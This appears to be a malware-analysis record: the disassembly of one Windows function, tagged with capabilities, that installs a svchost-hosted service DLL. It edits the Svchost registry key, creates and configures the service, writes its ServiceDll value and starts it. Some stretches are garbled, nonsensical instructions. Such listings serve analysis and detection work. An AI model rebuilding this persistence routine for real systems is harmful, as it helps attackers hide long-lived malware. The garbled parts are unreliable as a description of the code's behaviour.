Function at 0x414020
Capabilities:
Create service
Get common file path
Modify service
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5e058c
mov eax, dword fs:[0]
push eax
sub esp, 0x298
mov eax, dword [0x678390]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
mov dword [ebp - 0x278], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x270], eax
xor eax, eax
mov dword [ebp - 0x26c], esi
mov dword [ebp - 0x21c], 7
mov dword [ebp - 0x220], 0
mov word [ebp - 0x230], ax
cmp word [edx], ax
jne 0x414095
xor ecx, ecx
jmp 0x4140b5
mov ecx, edx
lea esi, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4140a0
sub ecx, esi
mov esi, dword [ebp - 0x26c]
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x230]
call fcn.00402b90
lea eax, [ebp - 0x264]
mov dword [ebp - 4], 0
push eax
push 3
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x264], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41419a
mov edx, esi
lea ecx, [edx + 2]
nop dword [eax + eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x414100
sub edx, ecx
lea ecx, [ebp - 0x230]
sar edx, 1
cmp dword [ebp - 0x21c], 8
cmovae ecx, dword [ebp - 0x230]
lea eax, [edx*2 + 2]
push eax
push esi
push 7
push 0
push ecx
push dword [ebp - 0x264]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x41419a
push dword [ebp - 0x264]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00453765
test al, al
je 0x414175
push 0xffffffffffffffac
or ebp, dword [edx - 0x158fe2d3]
test dword [ebx], eax
pop es
and dh, cl
pop edi
not dword [0x5e667f58]
cld
repne insd dword es:[edi], dx
popfd
xor dword ss:[ecx + 0x3f686f27], ebp
add byte [edi], cl
add byte [edx], ch
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
mov dword [ebp - 0x280], ebx
test ebx, ebx
jne 0x4141da
push 0x7a
call fcn.00459c08
add esp, 4
xor esi, esi
mov ecx, dword [ebp - 0x21c]
cmp ecx, 8
jb 0x4141ba
inc ecx
push ecx
push dword [ebp - 0x230]
lea ecx, [ebp - 0x230]
call fcn.00402ce0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0047070c
mov esp, ebp
pop ebp
ret 0x14
push 0x208
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.00483520
add esp, 0xc
lea ecx, [ebp - 0x248]
push 0x5e9978
call fcn.00404170
lea ecx, [ebp - 0x2a4]
mov byte [ebp - 4], 1
call fcn.0046671d
lea ecx, [ebp - 0x2a4]
mov byte [ebp - 4], 2
call fcn.004667e3
test eax, eax
lea eax, [ebp - 0x218]
push 0x104
push eax
je 0x414236
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
jmp 0x41423c
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x248]
call fcn.00404400
push str._svchost.exe__k
lea ecx, [ebp - 0x248]
call fcn.0040a9f0
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x230]
push eax
lea ecx, [ebp - 0x248]
call fcn.00405c20
cmp dword [ebp - 0x234], 8
lea eax, [ebp - 0x248]
push 0
cmovae eax, dword [ebp - 0x248]
push 0
push 0
push 0
push 0
push eax
push 1
push 2
push 0x20
push 0xf01ff
push edi
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov ebx, eax
mov dword [ebp - 0x27c], ebx
test ebx, ebx
jne 0x4142c4
push 0x7b
call fcn.00459c08
add esp, 4
xor esi, esi
jmp 0x4144fa
call fcn.0045360c
test al, al
je 0x4142dd
mov edi, 0x1f83179c
and dword [eax + 0x6a], esp
sar dword [edi + eax*4], 0xf6
lahf
cmp ebp, ecx
hlt
mov eax, dword [ebp - 0x270]
mov dword [ebp - 0x274], eax
lea eax, [ebp - 0x274]
push eax
push 1
push ebx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
call fcn.00453aa1
test al, al
je 0x41431f
sub eax, 0xa6f59351
clc
fisubr dword [eax + 0x701e700d]
pop ebp
sbb ch, byte [edx - 0x80]
sub eax, dword [ebp - 6]
xchg edi, eax
sbb byte [ebp - 6], ch
ljmp 0xe8a1
call fcn.00453bb5
test al, al
je 0x414346
sbb al, 0xde
sub ecx, dword [eax + 0x62]
push eax
push es
iretd
push str.SYSTEMCurrentControlSetServices_
lea ecx, [ebp - 0x260]
call fcn.00404170
push dword [ebp - 0x26c]
lea ecx, [ebp - 0x260]
mov byte [ebp - 4], 3
call fcn.0040a9f0
cmp dword [ebp - 0x24c], 8
lea ecx, [ebp - 0x264]
push ecx
push 0xf003f
lea eax, [ebp - 0x260]
cmovae eax, dword [ebp - 0x260]
push 0
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4144ed
call fcn.00453aa1
test al, al
je 0x4143c5
push esi
mov dword [0x74c394b0], eax
inc eax
sti
mov edx, 0xab169369
mov al, byte [0x88379115]
sub edi, ebx
ret
mov byte [ebx], ch
sti
stc
xor dword [ebp + eax*8 - 0x6d], ebp
jecxz 0x4143ae
call fcn.00453903
cmp ebp, esi
add eax, dword [eax]
test al, al
je 0x4143e3
xchg esi, eax
push eax
and ah, bl
mov byte [0x9083968], al
sub byte [esi - 0x63], ah
in eax, dx
in al, 0xb3
cmpsb byte [esi], byte es:[edi]
mov al, 0x43
xchg byte [eax], al
scasb al, byte es:[edi]
call fcn.00453a5c
test al, al
je 0x4143fe
aad 2
retf 0x7b6d
call fcn.004538be
test al, al
je 0x414422
lodsd eax, dword [esi]
jg 0x4143bc
invalid
call fcn.00453765
test al, al
je 0x414449
lodsb al, byte [esi]
fucompi st(6)
retf 0x67d5
lea eax, [ebp - 0x268]
mov dword [ebp - 0x268], 0
push eax
push str.Parameters
push dword [ebp - 0x264]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x4144ed
mov ecx, dword [ebp - 0x278]
cmp dword [ecx + 0x14], 8
mov eax, dword [ecx + 0x10]
jb 0x414480
mov ecx, dword [ecx]
lea eax, [eax*2 + 2]
push eax
push ecx
push 2
push 0
push str.ServiceDll
push dword [ebp - 0x268]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x4144ed
mov esi, dword [ebp - 0x27c]
push eax
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x4144bf
push 0x7c
call fcn.00459c08
add esp, 4
push dword [ebp - 0x264]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x268]
call edi
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push dword [ebp - 0x280]
call esi
mov esi, 1
jmp 0x4144ef
xor esi, esi
lea ecx, [ebp - 0x260]
call fcn.00412820
lea ecx, [ebp - 0x2a4]
call fcn.00466730
lea ecx, [ebp - 0x248]
call fcn.00412820
jmp 0x41419c